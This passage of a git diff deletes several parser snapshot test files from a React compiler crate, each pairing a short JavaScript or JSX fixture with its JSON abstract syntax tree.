-              113,
-              126
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    135,
-                    136
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          141,
-                          142
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          141,
-                          142
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        141,
-                        142
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    139,
-                    144
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  135,
-                  144
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              129,
-              145
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    223,
-                    224
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    227,
-                    229
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  223,
-                  229
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              217,
-              230
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    233,
-                    234
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    235,
-                    236
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  233,
-                  236
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  239,
-                  240
-                ]
-              },
-              "loc": null,
-              "range": [
-                233,
-                240
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              233,
-              241
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    250,
-                    251
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "mutate",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      254,
-                      260
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        261,
-                        262
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "d",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        264,
-                        265
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    254,
-                    266
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  250,
-                  266
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              244,
-              267
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                531,
-                532
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                534,
-                539
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              527,
-              539
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                546,
-                547
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                549,
-                554
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              542,
-              554
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "c",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                561,
-                562
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                564,
-                569
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              557,
-              569
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "d",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                576,
-                577
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                579,
-                584
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              572,
-              584
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                591,
-                592
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                594,
-                599
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              587,
-              599
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  692,
-                  698
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    699,
-                    700
-                  ]
-                },
-                {
-                  "type": "NullLiteral",
-                  "loc": null,
-                  "range": [
-                    702,
-                    706
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                692,
-                707
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              692,
-              708
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          52,
-          710
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        26,
-        710
-      ],
-      "loc": null,
-      "range": [
-        26,
-        710
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    710
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@mutable-liverange-loop.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@mutable-liverange-loop.js.snap
deleted file mode 100644
index 8fdf1c371ba2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@mutable-liverange-loop.js.snap
+++ /dev/null
@@ -1,611 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/mutable-liverange-loop.js
----
-Input:
-function mutate() {}
-function cond() {}
-
-function Component(props) {
-  let a = {};
-  let b = {};
-  let c = {};
-  let d = {};
-  while (true) {
-    mutate(a, b);
-    if (cond(a)) {
-      break;
-    }
-  }
-
-  // all of these tests are seemingly readonly, since the values are never directly
-  // mutated again. but they are all aliased by `d`, which is later modified, and
-  // these are therefore mutable references:
-  if (a) {
-  }
-  if (b) {
-  }
-  if (c) {
-  }
-  if (d) {
-  }
-
-  mutate(d, null);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "mutate",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          15
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          18,
-          20
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        20
-      ],
-      "loc": null,
-      "range": [
-        0,
-        20
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "cond",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          30,
-          34
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          37,
-          39
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        21,
-        39
-      ],
-      "loc": null,
-      "range": [
-        21,
-        39
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          50,
-          59
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            60,
-            65
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    75,
-                    76
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    79,
-                    81
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  75,
-                  81
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              71,
-              82
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    89,
-                    90
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    93,
-                    95
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  89,
-                  95
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              85,
-              96
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    103,
-                    104
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    107,
-                    109
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  103,
-                  109
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              99,
-              110
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    121,
-                    123
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  117,
-                  123
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              113,
-              124
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "BooleanLiteral",
-              "value": true,
-              "loc": null,
-              "range": [
-                134,
-                138
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "mutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        146,
-                        152
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          153,
-                          154
-                        ]
-                      },
-                      {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          156,
-                          157
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      146,
-                      158
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    146,
-                    159
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "cond",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        168,
-                        172
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          173,
-                          174
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      168,
-                      175
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          185,
-                          191
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      177,
-                      197
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    164,
-                    197
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                140,
-                201
-              ]
-            },
-            "loc": null,
-            "range": [
-              127,
-              201
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                420,
-                421
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                423,
-                428
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              416,
-              428
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                435,
-                436
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                438,
-                443
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              431,
-              443
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "c",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                450,
-                451
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                453,
-                458
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              446,
-              458
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "d",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                465,
-                466
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                468,
-                473
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              461,
-              473
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  477,
-                  483
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    484,
-                    485
-                  ]
-                },
-                {
-                  "type": "NullLiteral",
-                  "loc": null,
-                  "range": [
-                    487,
-                    491
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                477,
-                492
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              477,
-              493
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          67,
-          495
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        41,
-        495
-      ],
-      "loc": null,
-      "range": [
-        41,
-        495
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    495
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nested-function-shadowed-identifiers.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nested-function-shadowed-identifiers.js.snap
deleted file mode 100644
index 6a01b6e93a8f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nested-function-shadowed-identifiers.js.snap
+++ /dev/null
@@ -1,454 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/nested-function-shadowed-identifiers.js
----
-Input:
-function Component(props) {
-  const [x, setX] = useState(null);
-
-  const onChange = (e) => {
-    let x = null; // intentionally shadow the original x
-    setX((currentX) => currentX + x); // intentionally refer to shadowed x
-  };
-
-  return <input value={x} onChange={onChange} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        37,
-                        38
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        40,
-                        44
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    45
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      48,
-                      56
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        57,
-                        61
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    48,
-                    62
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  62
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              63
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    73,
-                    81
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        85,
-                        86
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "VariableDeclaration",
-                        "kind": "let",
-                        "declarations": [
-                          {
-                            "type": "VariableDeclarator",
-                            "id": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                101,
-                                102
-                              ]
-                            },
-                            "init": {
-                              "type": "NullLiteral",
-                              "loc": null,
-                              "range": [
-                                105,
-                                109
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              101,
-                              109
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          97,
-                          110
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "setX",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              154,
-                              158
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "ArrowFunctionExpression",
-                              "id": null,
-                              "params": [
-                                {
-                                  "type": "Identifier",
-                                  "name": "currentX",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    160,
-                                    168
-                                  ]
-                                }
-                              ],
-                              "body": {
-                                "type": "BinaryExpression",
-                                "left": {
-                                  "type": "Identifier",
-                                  "name": "currentX",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    173,
-                                    181
-                                  ]
-                                },
-                                "operator": "+",
-                                "right": {
-                                  "type": "Identifier",
-                                  "name": "x",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    184,
-                                    185
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  173,
-                                  185
-                                ]
-                              },
-                              "generator": true,
-                              "async": false,
-                              "loc": null,
-                              "range": [
-                                159,
-                                185
-                              ],
-                              "expression": true,
-                              "loc": null,
-                              "range": [
-                                159,
-                                185
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            154,
-                            186
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          154,
-                          187
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      91,
-                      228
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    84,
-                    228
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    84,
-                    228
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  73,
-                  228
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              67,
-              229
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "input",
-                  "loc": null,
-                  "range": [
-                    241,
-                    246
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "value",
-                      "loc": null,
-                      "range": [
-                        247,
-                        252
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          254,
-                          255
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        253,
-                        256
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      247,
-                      256
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onChange",
-                      "loc": null,
-                      "range": [
-                        257,
-                        265
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onChange",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          267,
-                          275
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        266,
-                        276
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      257,
-                      276
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  240,
-                  279
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                240,
-                279
-              ]
-            },
-            "loc": null,
-            "range": [
-              233,
-              280
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          282
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        282
-      ],
-      "loc": null,
-      "range": [
-        0,
-        282
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    282
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nested-optional-member-expr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nested-optional-member-expr.js.snap
deleted file mode 100644
index 1e3584ec043f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nested-optional-member-expr.js.snap
+++ /dev/null
@@ -1,229 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/nested-optional-member-expr.js
----
-Input:
-// We should codegen nested optional properties correctly
-// (i.e. placing `?` in the correct PropertyLoad)
-function Component(props) {
-  let x = foo(props.a?.b.c.d);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          117,
-          126
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            127,
-            132
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    142,
-                    143
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      146,
-                      149
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "OptionalMemberExpression",
-                      "object": {
-                        "type": "OptionalMemberExpression",
-                        "object": {
-                          "type": "OptionalMemberExpression",
-                          "object": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                150,
-                                155
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                156,
-                                157
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              150,
-                              157
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              159,
-                              160
-                            ]
-                          },
-                          "computed": false,
-                          "optional": true,
-                          "loc": null,
-                          "range": [
-                            150,
-                            160
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            161,
-                            162
-                          ]
-                        },
-                        "computed": false,
-                        "optional": false,
-                        "loc": null,
-                        "range": [
-                          150,
-                          162
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "d",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          163,
-                          164
-                        ]
-                      },
-                      "computed": false,
-                      "optional": false,
-                      "loc": null,
-                      "range": [
-                        150,
-                        164
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    146,
-                    165
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  142,
-                  165
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              138,
-              166
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                176,
-                177
-              ]
-            },
-            "loc": null,
-            "range": [
-              169,
-              178
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          134,
-          180
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        108,
-        180
-      ],
-      "loc": null,
-      "range": [
-        108,
-        180
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    108,
-    180
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nested-scopes-hook-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nested-scopes-hook-call.js.snap
deleted file mode 100644
index 76a100c0bf4a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@nested-scopes-hook-call.js.snap
+++ /dev/null
@@ -1,323 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/nested-scopes-hook-call.js
----
-Input:
-function component(props) {
-  let x = [];
-  let y = [];
-  y.push(useHook(props.foo));
-  x.push(y);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
